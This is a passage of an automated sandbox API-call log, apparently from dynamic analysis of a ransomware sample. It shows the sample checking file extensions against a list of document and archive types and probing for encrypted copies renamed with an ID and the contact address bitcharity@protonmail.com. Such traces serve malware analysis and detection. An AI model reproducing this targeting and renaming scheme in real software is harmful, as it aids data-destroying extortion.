[0286.618] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0286.618] lstrlenW (lpString=".dbf") returned 4 [0286.618] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0286.618] lstrlenW (lpString=".1cd") returned 4 [0286.618] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0286.618] lstrlenW (lpString=".jpg") returned 4 [0286.618] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0286.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0286.618] lstrlenW (lpString=".doc") returned 4 [0286.618] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.618] lstrlenW (lpString=".docx") returned 5 [0286.618] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0286.618] lstrlenW (lpString=".pdf") returned 4 [0286.618] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.619] lstrlenW (lpString=".xls") returned 4 [0286.619] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.619] lstrlenW (lpString=".xlsx") returned 5 [0286.619] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0286.619] lstrlenW (lpString=".ppt") returned 4 [0286.619] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0286.619] lstrlenW (lpString=".zip") returned 4 [0286.619] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.619] lstrlenW (lpString=".rar") returned 4 [0286.619] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.619] lstrlenW (lpString=".bz2") returned 4 [0286.619] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.619] lstrlenW (lpString=".7z") returned 3 [0286.619] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0286.619] lstrlenW (lpString=".dbf") returned 4 [0286.619] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0286.619] lstrlenW (lpString=".1cd") returned 4 [0286.619] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0286.619] lstrlenW (lpString=".jpg") returned 4 [0286.619] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.620] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0286.620] lstrlenW (lpString="Content.xml") returned 11 [0286.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.620] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=27045) returned 1 [0286.620] CloseHandle (hObject=0x109c) returned 1 [0286.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0286.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0286.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0286.620] lstrlenW (lpString=".doc") returned 4 [0286.620] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.620] lstrlenW (lpString=".docx") returned 5 [0286.620] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0286.621] lstrlenW (lpString=".pdf") returned 4 [0286.621] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.621] lstrlenW (lpString=".xls") returned 4 [0286.621] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.621] lstrlenW (lpString=".xlsx") returned 5 [0286.621] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0286.621] lstrlenW (lpString=".ppt") returned 4 [0286.621] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0286.621] lstrlenW (lpString=".zip") returned 4 [0286.621] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.621] lstrlenW (lpString=".rar") returned 4 [0286.621] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.621] lstrlenW (lpString=".bz2") returned 4 [0286.621] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.621] lstrlenW (lpString=".7z") returned 3 [0286.621] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0286.621] lstrlenW (lpString=".dbf") returned 4 [0286.621] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0286.621] lstrlenW (lpString=".1cd") returned 4 [0286.621] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0286.621] lstrlenW (lpString=".jpg") returned 4 [0286.621] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0286.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0286.621] lstrlenW (lpString=".doc") returned 4 [0286.621] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.622] lstrlenW (lpString=".docx") returned 5 [0286.622] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0286.622] lstrlenW (lpString=".pdf") returned 4 [0286.622] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.622] lstrlenW (lpString=".xls") returned 4 [0286.622] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.622] lstrlenW (lpString=".xlsx") returned 5 [0286.622] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0286.622] lstrlenW (lpString=".ppt") returned 4 [0286.622] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0286.622] lstrlenW (lpString=".zip") returned 4 [0286.622] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.622] lstrlenW (lpString=".rar") returned 4 [0286.622] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.622] lstrlenW (lpString=".bz2") returned 4 [0286.622] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.622] lstrlenW (lpString=".7z") returned 3 [0286.622] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0286.622] lstrlenW (lpString=".dbf") returned 4 [0286.622] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0286.622] lstrlenW (lpString=".1cd") returned 4 [0286.622] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0286.622] lstrlenW (lpString=".jpg") returned 4 [0286.622] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.622] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0286.622] lstrlenW (lpString="boxed-correct.avi") returned 17 [0286.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.623] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=111320) returned 1 [0286.623] CloseHandle (hObject=0x109c) returned 1 [0286.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0286.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0286.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0286.624] lstrlenW (lpString=".doc") returned 4 [0286.624] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0286.624] lstrlenW (lpString=".docx") returned 5 [0286.624] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0286.624] lstrlenW (lpString=".pdf") returned 4 [0286.624] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0286.624] lstrlenW (lpString=".xls") returned 4 [0286.624] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0286.624] lstrlenW (lpString=".xlsx") returned 5 [0286.624] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0286.624] lstrlenW (lpString=".ppt") returned 4 [0286.624] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0286.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0286.624] lstrlenW (lpString=".zip") returned 4 [0286.624] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0286.624] lstrlenW (lpString=".rar") returned 4 [0286.624] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0286.624] lstrlenW (lpString=".bz2") returned 4 [0286.624] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0286.624] lstrlenW (lpString=".7z") returned 3 [0286.624] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0286.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0286.624] lstrlenW (lpString=".dbf") returned 4 [0286.624] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0286.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0286.624] lstrlenW (lpString=".1cd") returned 4 [0286.625] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0286.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0286.625] lstrlenW (lpString=".jpg") returned 4 [0286.625] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0286.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0286.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0286.625] lstrlenW (lpString=".doc") returned 4 [0286.625] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0286.625] lstrlenW (lpString=".docx") returned 5 [0286.625] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0286.625] lstrlenW (lpString=".pdf") returned 4 [0286.625] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0286.625] lstrlenW (lpString=".xls") returned 4 [0286.625] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0286.625] lstrlenW (lpString=".xlsx") returned 5 [0286.625] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0286.625] lstrlenW (lpString=".ppt") returned 4 [0286.625] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0286.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0286.625] lstrlenW (lpString=".zip") returned 4 [0286.625] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0286.625] lstrlenW (lpString=".rar") returned 4 [0286.625] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0286.625] lstrlenW (lpString=".bz2") returned 4 [0286.625] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0286.625] lstrlenW (lpString=".7z") returned 3 [0286.625] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0286.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0286.625] lstrlenW (lpString=".dbf") returned 4 [0286.625] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0286.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0286.625] lstrlenW (lpString=".1cd") returned 4 [0286.625] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0286.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0286.625] lstrlenW (lpString=".jpg") returned 4 [0286.625] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0286.626] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0286.626] lstrlenW (lpString="boxed-delete.avi") returned 16 [0286.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.626] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=48936) returned 1 [0286.626] CloseHandle (hObject=0x109c) returned 1 [0286.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0286.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0286.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0286.627] lstrlenW (lpString=".doc") returned 4 [0286.627] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0286.627] lstrlenW (lpString=".docx") returned 5 [0286.627] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0286.627] lstrlenW (lpString=".pdf") returned 4 [0286.627] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0286.627] lstrlenW (lpString=".xls") returned 4 [0286.627] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0286.627] lstrlenW (lpString=".xlsx") returned 5 [0286.627] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0286.627] lstrlenW (lpString=".ppt") returned 4 [0286.627] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0286.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0286.627] lstrlenW (lpString=".zip") returned 4 [0286.627] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0286.627] lstrlenW (lpString=".rar") returned 4 [0286.627] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0286.627] lstrlenW (lpString=".bz2") returned 4 [0286.627] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0286.627] lstrlenW (lpString=".7z") returned 3 [0286.627] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0286.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0286.627] lstrlenW (lpString=".dbf") returned 4 [0286.627] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0286.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0286.627] lstrlenW (lpString=".1cd") returned 4 [0286.627] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0286.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0286.627] lstrlenW (lpString=".jpg") returned 4 [0286.627] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0286.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0286.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0286.627] lstrlenW (lpString=".doc") returned 4 [0286.627] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0286.628] lstrlenW (lpString=".docx") returned 5 [0286.628] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0286.628] lstrlenW (lpString=".pdf") returned 4 [0286.628] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0286.628] lstrlenW (lpString=".xls") returned 4 [0286.628] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0286.628] lstrlenW (lpString=".xlsx") returned 5 [0286.628] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0286.628] lstrlenW (lpString=".ppt") returned 4 [0286.628] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0286.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0286.628] lstrlenW (lpString=".zip") returned 4 [0286.628] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0286.628] lstrlenW (lpString=".rar") returned 4 [0286.628] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0286.628] lstrlenW (lpString=".bz2") returned 4 [0286.628] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0286.628] lstrlenW (lpString=".7z") returned 3 [0286.628] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0286.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0286.628] lstrlenW (lpString=".dbf") returned 4 [0286.628] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0286.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0286.628] lstrlenW (lpString=".1cd") returned 4 [0286.628] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0286.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0286.628] lstrlenW (lpString=".jpg") returned 4 [0286.628] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0286.628] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0286.628] lstrlenW (lpString="boxed-join.avi") returned 14 [0286.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.629] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=46622) returned 1 [0286.629] CloseHandle (hObject=0x109c) returned 1 [0286.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0286.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0286.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0286.629] lstrlenW (lpString=".doc") returned 4 [0286.629] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0286.629] lstrlenW (lpString=".docx") returned 5 [0286.629] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0286.629] lstrlenW (lpString=".pdf") returned 4 [0286.629] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0286.629] lstrlenW (lpString=".xls") returned 4 [0286.629] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0286.629] lstrlenW (lpString=".xlsx") returned 5 [0286.630] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0286.630] lstrlenW (lpString=".ppt") returned 4 [0286.630] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0286.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0286.630] lstrlenW (lpString=".zip") returned 4 [0286.630] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0286.630] lstrlenW (lpString=".rar") returned 4 [0286.630] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0286.630] lstrlenW (lpString=".bz2") returned 4 [0286.630] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0286.630] lstrlenW (lpString=".7z") returned 3 [0286.630] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0286.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0286.630] lstrlenW (lpString=".dbf") returned 4 [0286.630] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0286.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0286.630] lstrlenW (lpString=".1cd") returned 4 [0286.630] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0286.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0286.630] lstrlenW (lpString=".jpg") returned 4 [0286.630] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0286.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0286.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0286.630] lstrlenW (lpString=".doc") returned 4 [0286.630] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0286.630] lstrlenW (lpString=".docx") returned 5 [0286.630] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0286.630] lstrlenW (lpString=".pdf") returned 4 [0286.631] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0286.631] lstrlenW (lpString=".xls") returned 4 [0286.631] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0286.631] lstrlenW (lpString=".xlsx") returned 5 [0286.631] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0286.631] lstrlenW (lpString=".ppt") returned 4 [0286.631] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0286.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0286.631] lstrlenW (lpString=".zip") returned 4 [0286.631] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0286.631] lstrlenW (lpString=".rar") returned 4 [0286.631] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0286.631] lstrlenW (lpString=".bz2") returned 4 [0286.631] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0286.631] lstrlenW (lpString=".7z") returned 3 [0286.631] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0286.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0286.631] lstrlenW (lpString=".dbf") returned 4 [0286.631] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0286.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0286.631] lstrlenW (lpString=".1cd") returned 4 [0286.631] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0286.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0286.631] lstrlenW (lpString=".jpg") returned 4 [0286.631] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0286.631] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0286.632] lstrlenW (lpString="boxed-split.avi") returned 15 [0286.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.632] 